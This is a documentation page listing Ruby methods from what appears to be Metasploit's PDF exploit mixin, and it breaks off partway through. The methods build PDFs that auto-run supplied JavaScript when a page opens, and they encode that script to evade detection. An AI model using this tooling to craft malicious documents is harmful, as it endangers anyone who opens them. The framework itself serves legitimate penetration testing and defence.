<div class="discussion">
|
||||
|
||||
<p>Create PDF with OpenAction implant Note: doesn’t carry over if you try to merge the exploit PDF with an innocuous one</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
298
|
||||
299
|
||||
300
|
||||
301
|
||||
302
|
||||
303
|
||||
304
|
||||
305
|
||||
306
|
||||
307
|
||||
308
|
||||
309
|
||||
310
|
||||
311
|
||||
312
|
||||
313
|
||||
314
|
||||
315
|
||||
316</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 298</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_openaction_js'>pdf_with_openaction_js</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||||
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
||||
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /AA << /O << /JS </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
||||
|
||||
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="pdf_with_page_exploit-instance_method">
|
||||
|
||||
#<strong>pdf_with_page_exploit</strong>(js, strFilter) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Create PDF with Page implant</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
275
|
||||
276
|
||||
277
|
||||
278
|
||||
279
|
||||
280
|
||||
281
|
||||
282
|
||||
283
|
||||
284
|
||||
285
|
||||
286
|
||||
287
|
||||
288
|
||||
289
|
||||
290
|
||||
291
|
||||
292</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 275</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_pdf_with_page_exploit'>pdf_with_page_exploit</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
||||
<span class='ivar'>@xref</span> <span class='op'>=</span> <span class='lbrace'>{</span><span class='rbrace'>}</span>
|
||||
<span class='ivar'>@pdf</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_end'>'</span></span>
|
||||
|
||||
<span class='ivar'>@pdf</span> <span class='op'><<</span> <span class='id identifier rubyid_header'>header</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>1</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Catalog/Outlines </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>2</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/Pages </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>2</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Outlines/Count 0>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>3</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Pages/Kids[</span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>4</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]/Count 1>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>4</span><span class='comma'>,</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Type/Page/Parent </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>3</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/MediaBox[%s %s %s %s] </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lbracket'>[</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>200</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='comma'>,</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>300</span><span class='rparen'>)</span><span class='rbracket'>]</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'> /AA << /O << /JS </span><span class='tstring_end'>"</span></span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='int'>5</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/S /JavaScript >>>>>></span><span class='tstring_end'>"</span></span><span class='rparen'>)</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_compressed'>compressed</span> <span class='op'>=</span> <span class='id identifier rubyid_js'>js</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Length %s/Filter[</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_compressed'>compressed</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'><<</span> <span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>]>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>stream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='id identifier rubyid_compressed'>compressed</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_stream'>stream</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>endstream</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_add_object'>add_object</span><span class='lparen'>(</span><span class='int'>5</span><span class='comma'>,</span> <span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
||||
|
||||
<span class='id identifier rubyid_finish_pdf'>finish_pdf</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="random_non_ascii_string-instance_method">
|
||||
|
||||
#<strong>random_non_ascii_string</strong>(count) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
88
|
||||
89
|
||||
90
|
||||
91
|
||||
92
|
||||
93
|
||||
94</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 88</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_random_non_ascii_string'>random_non_ascii_string</span><span class='lparen'>(</span><span class='id identifier rubyid_count'>count</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_count'>count</span><span class='period'>.</span><span class='id identifier rubyid_times'>times</span> <span class='kw'>do</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='id identifier rubyid_rand'>rand</span><span class='lparen'>(</span><span class='int'>128</span><span class='rparen'>)</span> <span class='op'>+</span> <span class='int'>128</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_result'>result</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="run_length_encode-instance_method">
|
||||
|
||||
#<strong>run_length_encode</strong>(stream) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Filters from Origami parser</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
47
|
||||
48
|
||||
49
|
||||
50
|
||||
51
|
||||
52
|
||||
53
|
||||
54
|
||||
55
|
||||
56
|
||||
57
|
||||
58
|
||||
59
|
||||
60
|
||||
61
|
||||
62
|
||||
63
|
||||
64
|
||||
65
|
||||
66
|
||||
67
|
||||
68
|
||||
69
|
||||
70
|
||||
71
|
||||
72
|
||||
73
|
||||
74
|
||||
75
|
||||
76
|
||||
77
|
||||
78
|
||||
79
|
||||
80
|
||||
81
|
||||
82
|
||||
83
|
||||
84
|
||||
85
|
||||
86</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 47</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_run_length_encode'>run_length_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_eod'>eod</span> <span class='op'>=</span> <span class='int'>128</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='int'>0</span>
|
||||
|
||||
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
||||
<span class='comment'>#
|
||||
</span> <span class='comment'># How many identical bytes coming?
|
||||
</span> <span class='comment'>#
|
||||
</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='int'>1</span>
|
||||
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>and</span> <span class='id identifier rubyid_length'>length</span> <span class='op'><</span> <span class='id identifier rubyid_eod'>eod</span> <span class='kw'>and</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
||||
<span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>+</span> <span class='int'>1</span>
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='comment'>#
|
||||
</span> <span class='comment'># If more than 1, then compress them.
|
||||
</span> <span class='comment'>#
|
||||
</span> <span class='kw'>if</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>></span> <span class='int'>1</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='int'>257</span> <span class='op'>-</span> <span class='id identifier rubyid_length'>length</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span> <span class='op'><<</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='comma'>,</span><span class='int'>1</span><span class='rbracket'>]</span>
|
||||
|
||||
<span class='comment'>#
|
||||
</span> <span class='comment'># Otherwise how many different bytes to copy ?
|
||||
</span> <span class='comment'>#
|
||||
</span> <span class='kw'>else</span>
|
||||
<span class='id identifier rubyid_j'>j</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span>
|
||||
<span class='kw'>while</span> <span class='id identifier rubyid_j'>j</span><span class='op'>+</span><span class='int'>1</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>and</span> <span class='lparen'>(</span><span class='id identifier rubyid_j'>j</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span> <span class='op'><</span> <span class='id identifier rubyid_eod'>eod</span> <span class='kw'>and</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_j'>j</span><span class='rbracket'>]</span> <span class='op'>!=</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_j'>j</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
||||
<span class='id identifier rubyid_j'>j</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span> <span class='op'>+</span> <span class='int'>1</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_length'>length</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span> <span class='op'><<</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='comma'>,</span> <span class='id identifier rubyid_length'>length</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
||||
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span>
|
||||
<span class='kw'>end</span>
|
||||
|
||||
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_eod'>eod</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="select_encoder-instance_method">
|
||||
|
||||
#<strong>select_encoder</strong>(js, strEncode, strFilter) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><div class="docstring">
|
||||
<div class="discussion">
|
||||
|
||||
<p>Select an encoder and build a filter specification</p>
|
||||
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<div class="tags">
|
||||
|
||||
|
||||
</div><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
254
|
||||
255
|
||||
256
|
||||
257
|
||||
258
|
||||
259
|
||||
260
|
||||
261
|
||||
262
|
||||
263
|
||||
264
|
||||
265
|
||||
266
|
||||
267
|
||||
268
|
||||
269
|
||||
270</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 254</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strEncode'>strEncode</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
||||
<span class='kw'>case</span> <span class='id identifier rubyid_strEncode'>strEncode</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII85</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_ascii85_encode'>ascii85_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/ASCII85Decode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_ascii_hex_whitespace_encode'>ascii_hex_whitespace_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/ASCIIHexDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>FLATE</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='const'>Zlib</span><span class='op'>::</span><span class='const'>Deflate</span><span class='period'>.</span><span class='id identifier rubyid_deflate'>deflate</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/FlateDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
||||
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>RUN</span><span class='tstring_end'>'</span></span>
|
||||
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_run_length_encode'>run_length_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
||||
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/RunLengthDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
||||
<span class='kw'>end</span>
|
||||
<span class='kw'>return</span> <span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="startxref-instance_method">
|
||||
|
||||
#<strong>startxref</strong> ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
193
|
||||
194
|
||||
195
|
||||
196
|
||||
197
|
||||
198</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 193</span>
|
||||
|
||||
<span class='kw'>def</span> <span class='id identifier rubyid_startxref'>startxref</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>startxref</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='ivar'>@xref_offset</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%%EOF</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
||||
<span class='id identifier rubyid_ret'>ret</span>
|
||||
<span class='kw'>end</span></pre>
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
</div>
|
||||
|
||||
<div class="method_details ">
|
||||
<h3 class="signature " id="trailer-instance_method">
|
||||
|
||||
#<strong>trailer</strong>(root_obj) ⇒ <tt>Object</tt>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
</h3><table class="source_code">
|
||||
<tr>
|
||||
<td>
|
||||
<pre class="lines">
|
||||
|
||||
|
||||
188
|
||||
189
|
||||
190
|
||||
191</pre>
|
||||
</td>
|
||||
<td>
|
||||
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 188</span>
|
||||
|
||||
